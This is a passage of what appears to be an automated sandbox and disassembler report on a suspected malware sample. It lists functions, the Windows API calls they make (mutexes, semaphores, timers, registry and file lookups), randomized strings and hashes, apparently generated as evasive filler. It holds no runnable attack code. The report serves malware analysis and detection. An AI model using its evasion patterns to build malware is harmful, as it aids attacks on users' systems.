Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

StrCpyW.SHLWAPI(?,00000000), ref: 0040F7E3
LocalFree.KERNEL32(00000000), ref: 0040F7EC

Strings

reglc1mu9uf, xrefs: 0040F4B5
uti3nwes, xrefs: 0040F607
XMLf2adb4jd, xrefs: 0040F492
twacbax0, xrefs: 0040F482
reg5z89fjtc, xrefs: 0040F654
regw58rum3k, xrefs: 0040F62E
reg1c0q6vdv, xrefs: 0040F58E
b1pdewg1, xrefs: 0040F47D
ev_yjarpgl0, xrefs: 0040F6AE
WTMR_bcdycgn8, xrefs: 0040F5DD
MTXxsb6c6w6, xrefs: 0040F53B
regh8lbcm2a, xrefs: 0040F576
reg41hhobax, xrefs: 0040F452
ev_p2qhrn7v, xrefs: 0040F4C1
SMPHR_8wkuq8rh, xrefs: 0040F6E6
ekgjfmio, xrefs: 0040F5D2
MTXnr6z2i1t, xrefs: 0040F45E
s_g130xrij, xrefs: 0040F6D4
log: f09wgrpi, xrefs: 0040F3EE
log: vv71kl0r, xrefs: 0040F503
rego8k0qa8x, xrefs: 0040F5A5
WTMR_h1hjjvsd, xrefs: 0040F5F3
8caz5t1r, xrefs: 0040F5CD
WTMR_540bzyah, xrefs: 0040F3A9
XMLo6240tag, xrefs: 0040F5B1
regcdik09hi, xrefs: 0040F676
reglshn8vnt, xrefs: 0040F3D1
regmxln9m3x, xrefs: 0040F433
SMPHR_atxl11oa, xrefs: 0040F4E0
6axbhxel, xrefs: 0040F602

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Semaphore$Local$Event$Release$OpenTimerWaitable$EnvironmentVariable$ErrorLastMutex$AllocFree$Cancellstrlen$CloseDebugFileFindOutputResetString$Mapping$FirstHandle$ChangeGlobalNotification
String ID: 6axbhxel$8caz5t1r$MTXnr6z2i1t$MTXxsb6c6w6$SMPHR_8wkuq8rh$SMPHR_atxl11oa$WTMR_540bzyah$WTMR_bcdycgn8$WTMR_h1hjjvsd$XMLf2adb4jd$XMLo6240tag$b1pdewg1$ekgjfmio$ev_p2qhrn7v$ev_yjarpgl0$log: f09wgrpi$log: vv71kl0r$reg1c0q6vdv$reg41hhobax$reg5z89fjtc$regcdik09hi$regh8lbcm2a$reglc1mu9uf$reglshn8vnt$regmxln9m3x$rego8k0qa8x$regw58rum3k$s_g130xrij$twacbax0$uti3nwes
API String ID: 4169537805-2439187102
Opcode ID: 5be2fdd100f9b3b5042ba0d9100558acaf5ff94e6cb37ef720641897eb46db47
Instruction ID: 32db7329466ac36db9fbd50056e0b30773be1f011de2bc68469c98a6e1bb3694
Opcode Fuzzy Hash: 5be2fdd100f9b3b5042ba0d9100558acaf5ff94e6cb37ef720641897eb46db47
Instruction Fuzzy Hash: 12C15C31A40714BFE7205BA0ED4AFDE7E78EB48B51F108132FA05F61D1DAB85941CBA9

Function 004101A4 Relevance: 131.5, APIs: 48, Strings: 27, Instructions: 216
timeregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_it0z2h7r), ref: 004101BF
CancelWaitableTimer.KERNEL32(00000000), ref: 004101D2
SetEnvironmentVariableA.KERNEL32(8e6tzqxv,mzckn70a), ref: 004101DE
FindFirstFileA.KERNEL32(s_0grmsux3,?), ref: 004101EC
FindClose.KERNEL32(00000000), ref: 004101F3
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLbhl8j2bt), ref: 00410204
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0041020F
SetEnvironmentVariableA.KERNEL32(4wg4beox,0qb1hd8r), ref: 0041021F
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_wan7ldds), ref: 0041022A
OutputDebugStringA.KERNEL32(log: vmz2gp2k), ref: 00410233
CancelWaitableTimer.KERNEL32(00000000), ref: 0041023A
SetEnvironmentVariableA.KERNEL32(0vngai3b,t6kat95o), ref: 00410246
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_u0mu05ci), ref: 00410253
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0041025D
OutputDebugStringA.KERNEL32(log: iz81lawv), ref: 00410272
GetLastError.KERNEL32 ref: 0041027A
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012EB,00000000), ref: 00410288
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041028F
GetLastError.KERNEL32(log: 7m70ur6h), ref: 0041029A
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_2ckuzqtn), ref: 004102B1
SetEvent.KERNEL32(00000000), ref: 004102BA
LocalAlloc.KERNEL32(00000040,00000208), ref: 004102C3
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_6tydjpzn), ref: 004102E3
SetEvent.KERNEL32(00000000), ref: 004102E8
ResetEvent.KERNEL32(00000000), ref: 004102EB
CreateMutexA.KERNEL32(00000000,00000000,MTXy7f0yydf), ref: 004102FA
ReleaseMutex.KERNEL32(00000000), ref: 00410305
SetEnvironmentVariableA.KERNEL32(x8k4umhd,46kk27ji), ref: 00410315
GetLastError.KERNEL32 ref: 00410319
OutputDebugStringA.KERNEL32(log: upc51g8y), ref: 00410327
LocalAlloc.KERNEL32(00000000,00000235), ref: 00410338
GetLastError.KERNEL32 ref: 00410340
LocalFree.KERNEL32(00000000), ref: 00410347
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_z6migmhh), ref: 0041035B
CancelWaitableTimer.KERNEL32(00000000), ref: 00410364
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_jhltn5w3), ref: 0041036F
CancelWaitableTimer.KERNEL32(00000000), ref: 00410376
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000010F1,00000000), ref: 00410386
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041038D
FindFirstFileA.KERNEL32(s_ikni7x9t,?), ref: 0041039F
FindClose.KERNEL32(00000000), ref: 004103A6
RegOpenKeyExA.KERNELBASE(80000001,reg3b8go3kn,00000000,00020019,?), ref: 004103C0
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_01ts7lqp), ref: 004103CF
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004103D9
SetEnvironmentVariableA.KERNEL32(dblo35py,q25bh9im), ref: 004103ED
RegOpenKeyExW.KERNELBASE(80000002,00000000,00020119,?), ref: 00410404
RegQueryValueExW.KERNEL32(?,00000000,00409361,?,00000104), ref: 00410422
RegCloseKey.ADVAPI32(?), ref: 00410433

Strings

t6kat95o, xrefs: 0041023C
dblo35py, xrefs: 004103E8
ev_2ckuzqtn, xrefs: 004102A8
WTMR_z6migmhh, xrefs: 0041034D
log: vmz2gp2k, xrefs: 0041022C
q25bh9im, xrefs: 004103E3
mzckn70a, xrefs: 004101D4
8e6tzqxv, xrefs: 004101D9
s_ikni7x9t, xrefs: 0041039A
XMLbhl8j2bt, xrefs: 004101F9
log: 7m70ur6h, xrefs: 00410295
0vngai3b, xrefs: 00410241
SMPHR_u0mu05ci, xrefs: 00410248
MTXy7f0yydf, xrefs: 004102F1
log: upc51g8y, xrefs: 00410322
SMPHR_01ts7lqp, xrefs: 004103C6
log: iz81lawv, xrefs: 0041026D
WTMR_wan7ldds, xrefs: 00410221
s_0grmsux3, xrefs: 004101E7
0qb1hd8r, xrefs: 00410215
4wg4beox, xrefs: 0041021A
ev_6tydjpzn, xrefs: 004102CE
WTMR_it0z2h7r, xrefs: 004101B6
x8k4umhd, xrefs: 00410310
reg3b8go3kn, xrefs: 004103B6
46kk27ji, xrefs: 0041030B
WTMR_jhltn5w3, xrefs: 00410366

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$TimerWaitable$FindSemaphore$CloseEnvironmentEventVariable$CancelErrorFileLastRelease$DebugLocalOutputString$AllocChangeFirstMappingMutexNotificationOpen$FreeQueryResetValue
String ID: 0qb1hd8r$0vngai3b$46kk27ji$4wg4beox$8e6tzqxv$MTXy7f0yydf$SMPHR_01ts7lqp$SMPHR_u0mu05ci$WTMR_it0z2h7r$WTMR_jhltn5w3$WTMR_wan7ldds$WTMR_z6migmhh$XMLbhl8j2bt$dblo35py$ev_2ckuzqtn$ev_6tydjpzn$log: 7m70ur6h$log: iz81lawv$log: upc51g8y$log: vmz2gp2k$mzckn70a$q25bh9im$reg3b8go3kn$s_0grmsux3$s_ikni7x9t$t6kat95o$x8k4umhd
API String ID: 1922140455-3527287540
Opcode ID: eeecae08b12fe8e9ade48afbbc5b16318388627f90a6d7b3ae89d06fcb056ce0
Instruction ID: ff0eef6d8abb873878fcb88dfc1f1ce2b0c3828475d622505057fc96ecf5de7b
Opcode Fuzzy Hash: eeecae08b12fe8e9ade48afbbc5b16318388627f90a6d7b3ae89d06fcb056ce0
Instruction Fuzzy Hash: 07615331680354BBDA206BA19D4EFDB3E7CEB89B01F118166FB15E60D0C6F88590CB6C

Function 0040FC69 Relevance: 129.7, APIs: 46, Strings: 28, Instructions: 213
synchronizationregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
lstrlenW.KERNEL32 ref: 0040FC89
LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
LocalFree.KERNEL32(00000000), ref: 0040FD09
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
SetEvent.KERNEL32(00000000), ref: 0040FD8E
ResetEvent.KERNEL32(00000000), ref: 0040FD9B
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
GetLastError.KERNEL32 ref: 0040FDEB
LocalFree.KERNELBASE(00000000), ref: 0040FDF2
SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
SetEvent.KERNEL32(00000000), ref: 0040FE76
ResetEvent.KERNEL32(00000000), ref: 0040FE7D
FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
FindClose.KERNEL32(00000000), ref: 0040FE92
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
GetLastError.KERNEL32 ref: 0040FED5
ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

Strings

5xc4rfm6, xrefs: 0040FE42
regbsc0gy31, xrefs: 0040FE20
ev_5lfr0i9u, xrefs: 0040FE64
v19r9fkt, xrefs: 0040FDFD
WTMR_ezfcnhiz, xrefs: 0040FDBA
log: zqaxjx1i, xrefs: 0040FEB7
00pbq394, xrefs: 0040FCD0
1w9a7ezv, xrefs: 0040FE3D
reg9ogvr0xq, xrefs: 0040FCFC
XML0c4o0o20, xrefs: 0040FE49
SMPHR_9w00jqb8, xrefs: 0040FD4B
ev_u5fjxky5, xrefs: 0040FD7C
WTMR_duo9zfet, xrefs: 0040FE08
reg7zkajz1y, xrefs: 0040FD30
MTXv7nh0o7s, xrefs: 0040FCB0
q04pfiaa, xrefs: 0040FD75
s_5v4dwb9r, xrefs: 0040FE86
SMPHR_pmn3yhef, xrefs: 0040FE98
7l8u4u8m, xrefs: 0040FD64
iyeph0nr, xrefs: 0040FEE2
XMLaf6ijeup, xrefs: 0040FD9D
c3gschjc, xrefs: 0040FCCB
32cl1w9n, xrefs: 0040FDF8
log: 1q5wdw2w, xrefs: 0040FDC4
87j5ox0s, xrefs: 0040FD69
kptwv1ur, xrefs: 0040FD70
MTXg35mzup0, xrefs: 0040FEC2
uvfb6x9g, xrefs: 0040FEE7

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Semaphore$EnvironmentEventReleaseVariable$Local$Mutex$AllocFindFreeOpenTimerWaitable$CloseDebugErrorFileLastOutputResetStringlstrlen$CancelChangeFirstGlobalMappingNotification
String ID: 00pbq394$1w9a7ezv$32cl1w9n$5xc4rfm6$7l8u4u8m$87j5ox0s$MTXg35mzup0$MTXv7nh0o7s$SMPHR_9w00jqb8$SMPHR_pmn3yhef$WTMR_duo9zfet$WTMR_ezfcnhiz$XML0c4o0o20$XMLaf6ijeup$c3gschjc$ev_5lfr0i9u$ev_u5fjxky5$iyeph0nr$kptwv1ur$log: 1q5wdw2w$log: zqaxjx1i$q04pfiaa$reg7zkajz1y$reg9ogvr0xq$regbsc0gy31$s_5v4dwb9r$uvfb6x9g$v19r9fkt
API String ID: 674351701-4116457335
Opcode ID: cae806a37f852aa2d250b5f9e703b6f3bac4decc1cfc676597ad5be5aedad644
Instruction ID: 6fefbfe7c575ea1c90682f8da28ade7196f8652e48d48d1f549ef9b2190ffb4f
Opcode Fuzzy Hash: cae806a37f852aa2d250b5f9e703b6f3bac4decc1cfc676597ad5be5aedad644
Instruction Fuzzy Hash: D2619331641714BBD320ABA09D4DFDF7E68EF4CB41F128222F705E2191CAF88951CAAD

Function 0040F9D2 Relevance: 122.7, APIs: 44, Strings: 26, Instructions: 216
registrysynchronizationtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(fa72f4c1fbe65cee8651140fd47267ba,75B4EC10,7622E010,76229350), ref: 0040F9E4
LocalAlloc.KERNEL32(00000000,00000D3D), ref: 0040F9F5
LocalFree.KERNEL32(00000000), ref: 0040F9FC
RegOpenKeyExA.KERNEL32(80000001,regiy6zdfg3,00000000,00020019,004091BF), ref: 0040FA1C
FindFirstFileA.KERNEL32(s_3jcfxium,?), ref: 0040FA2A
FindClose.KERNEL32(00000000), ref: 0040FA31
CreateMutexA.KERNEL32(00000000,00000000,MTXua94bg5a), ref: 0040FA3E
OutputDebugStringA.KERNEL32(log: pq4wrltf), ref: 0040FA55
ReleaseMutex.KERNEL32(00000000), ref: 0040FA58
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_vx41shaz), ref: 0040FA69
SetEvent.KERNEL32(00000000), ref: 0040FA72
ResetEvent.KERNEL32(00000000), ref: 0040FA79
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000114E,00000000), ref: 0040FA8D
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FA94
OutputDebugStringA.KERNEL32(log: g519d0t3), ref: 0040FA9F
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_o3u2xvzm), ref: 0040FAAA
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FAB4
RegOpenKeyExA.KERNEL32(80000001,reggr17ifkk,00000000,00020019,?), ref: 0040FAD2
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_oalnwsgu), ref: 0040FADC
OutputDebugStringA.KERNEL32(log: rj3lmscv), ref: 0040FAE9
CancelWaitableTimer.KERNEL32(00000000), ref: 0040FAF0
RegOpenKeyExA.KERNEL32(80000001,reg6yygw5d2,00000000,00020019,?), ref: 0040FB0B
OutputDebugStringA.KERNEL32(log: 73f7py5r), ref: 0040FB14
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040FB23
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 0040FB3A
OutputDebugStringA.KERNEL32(log: anxts587), ref: 0040FB48
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_503sw8ay), ref: 0040FB59
RegOpenKeyExA.KERNEL32(80000001,regqqjglncw,00000000,00020019,?), ref: 0040FB75
CancelWaitableTimer.KERNEL32(00000000), ref: 0040FB7C
RegOpenKeyExA.KERNEL32(80000001,regxsuzx1fl,00000000,00020019,?), ref: 0040FB96
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML2kjoebbk), ref: 0040FBA1
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FBAB
GetLastError.KERNEL32 ref: 0040FBB7
LocalAlloc.KERNEL32(00000000,00000F7C), ref: 0040FBBF
LocalFree.KERNEL32(00000000), ref: 0040FBC6
GetLastError.KERNEL32 ref: 0040FBCC
CreateMutexA.KERNEL32(00000000,00000000,MTXxcn7ng3q), ref: 0040FBD5
ReleaseMutex.KERNEL32(00000000), ref: 0040FBE6
SetEnvironmentVariableA.KERNEL32(6i1yg4nm,y9vq253x), ref: 0040FBF8
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_golbmp4h), ref: 0040FC05
RegOpenKeyExA.KERNEL32(80000001,regs3fg0wat,00000000,00020019,?), ref: 0040FC22
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FC29
SetEnvironmentVariableA.KERNEL32(r1hxt4oa,soc04m4x), ref: 0040FC3D
RegOpenKeyExA.KERNEL32(80000001,regdbt4x2w5,00000000,00020019,?), ref: 0040FC56

Strings

SMPHR_o3u2xvzm, xrefs: 0040FAA1
WTMR_oalnwsgu, xrefs: 0040FAD4
reg6yygw5d2, xrefs: 0040FB01
log: pq4wrltf, xrefs: 0040FA50
reggr17ifkk, xrefs: 0040FAC8
log: g519d0t3, xrefs: 0040FA9A
regqqjglncw, xrefs: 0040FB6B
regxsuzx1fl, xrefs: 0040FB8C
XML2kjoebbk, xrefs: 0040FB98
r1hxt4oa, xrefs: 0040FC38
MTXua94bg5a, xrefs: 0040FA37
ev_vx41shaz, xrefs: 0040FA5E
MTXxcn7ng3q, xrefs: 0040FBCE
WTMR_503sw8ay, xrefs: 0040FB4F
log: anxts587, xrefs: 0040FB43
SMPHR_golbmp4h, xrefs: 0040FBFA
regdbt4x2w5, xrefs: 0040FC4C
regs3fg0wat, xrefs: 0040FC18
soc04m4x, xrefs: 0040FC33
log: rj3lmscv, xrefs: 0040FAE2
6i1yg4nm, xrefs: 0040FBF3
fa72f4c1fbe65cee8651140fd47267ba, xrefs: 0040F9E0
regiy6zdfg3, xrefs: 0040FA12
s_3jcfxium, xrefs: 0040FA25
y9vq253x, xrefs: 0040FBEE
log: 73f7py5r, xrefs: 0040FB0F

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Open$Semaphore$DebugLocalOutputReleaseString$MutexTimerWaitable$AllocEventFind$CancelCloseEnvironmentErrorFileFreeLastVariable$ByteChangeCharFirstMappingMultiNotificationResetWidelstrlen
String ID: 6i1yg4nm$MTXua94bg5a$MTXxcn7ng3q$SMPHR_golbmp4h$SMPHR_o3u2xvzm$WTMR_503sw8ay$WTMR_oalnwsgu$XML2kjoebbk$ev_vx41shaz$fa72f4c1fbe65cee8651140fd47267ba$log: 73f7py5r$log: anxts587$log: g519d0t3$log: pq4wrltf$log: rj3lmscv$r1hxt4oa$reg6yygw5d2$regdbt4x2w5$reggr17ifkk$regiy6zdfg3$regqqjglncw$regs3fg0wat$regxsuzx1fl$s_3jcfxium$soc04m4x$y9vq253x
API String ID: 4086456696-732082075
Opcode ID: 793c9aa2ac452d4814e15599f6404b5e060d25252ef4a68eb7f42b72bd7d9e68
Instruction ID: 2dddb266a331cd16166f08770427cddc2d47af278645be8566152cddd8e3008e
Opcode Fuzzy Hash: 793c9aa2ac452d4814e15599f6404b5e060d25252ef4a68eb7f42b72bd7d9e68
Instruction Fuzzy Hash: A7617E71A80718FEE6206BA09D4AFDF7E6CEB48B41F104132B705F61D1C6F89951CAAD

Function 0040C39E Relevance: 115.7, APIs: 43, Strings: 23, Instructions: 208
timeregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,ev_lcpl75u7,?,?,76229350), ref: 0040C3BD
SetEvent.KERNEL32(00000000), ref: 0040C3C6
ResetEvent.KERNEL32(00000000), ref: 0040C3CD
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_gu27spmh), ref: 0040C3DC
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C3E6
GetLastError.KERNEL32 ref: 0040C3F6
SetEnvironmentVariableA.KERNEL32(ne03y3xh,hbqwhowh), ref: 0040C404
LocalAlloc.KERNEL32(00000000,00000F86), ref: 0040C410
OutputDebugStringA.KERNEL32(log: 4ympeoza), ref: 0040C41D
LocalFree.KERNEL32(00000000), ref: 0040C424
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLuwgraukp), ref: 0040C433
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C43D
RegOpenKeyExA.ADVAPI32(80000001,reghzuad84y,00000000,00020019,?), ref: 0040C457
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_9o8f5hj7), ref: 0040C46B
CancelWaitableTimer.KERNEL32(00000000), ref: 0040C472
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xwqa5bp3), ref: 0040C480
SetEnvironmentVariableA.KERNEL32(hxl3eu5d,031e7rv0), ref: 0040C48E
CancelWaitableTimer.KERNEL32(00000000), ref: 0040C495
GetLastError.KERNEL32 ref: 0040C49B
FindFirstFileA.KERNELBASE(s_u37n9csy,?), ref: 0040C4A9
FindClose.KERNEL32(00000000), ref: 0040C4B0
CreateMutexA.KERNEL32(00000000,00000000,MTX9sbfglyu), ref: 0040C4DA
RegOpenKeyExA.ADVAPI32(80000001,reg18u9r4l3,00000000,00020019,0040C65F), ref: 0040C4FA
ReleaseMutex.KERNEL32(00000000), ref: 0040C501
SetEnvironmentVariableA.KERNEL32(npj2p9ma,14jkl7ng), ref: 0040C513
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000004AC,00000000), ref: 0040C525
GetLastError.KERNEL32 ref: 0040C52D
CloseHandle.KERNEL32(00000000), ref: 0040C530
OutputDebugStringA.KERNEL32(log: y884zl2d), ref: 0040C53B
FindFirstFileA.KERNELBASE(s_yit1zm6t,?), ref: 0040C54D
FindClose.KERNEL32(00000000), ref: 0040C554
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_2820vcoz), ref: 0040C563
GetLastError.KERNEL32 ref: 0040C56B
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C571
OutputDebugStringA.KERNEL32(log: ozpt0x1c), ref: 0040C580
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_5ar8d5pq), ref: 0040C58E
SetEnvironmentVariableA.KERNEL32(mtu3fal1,emjftx5q), ref: 0040C5A0
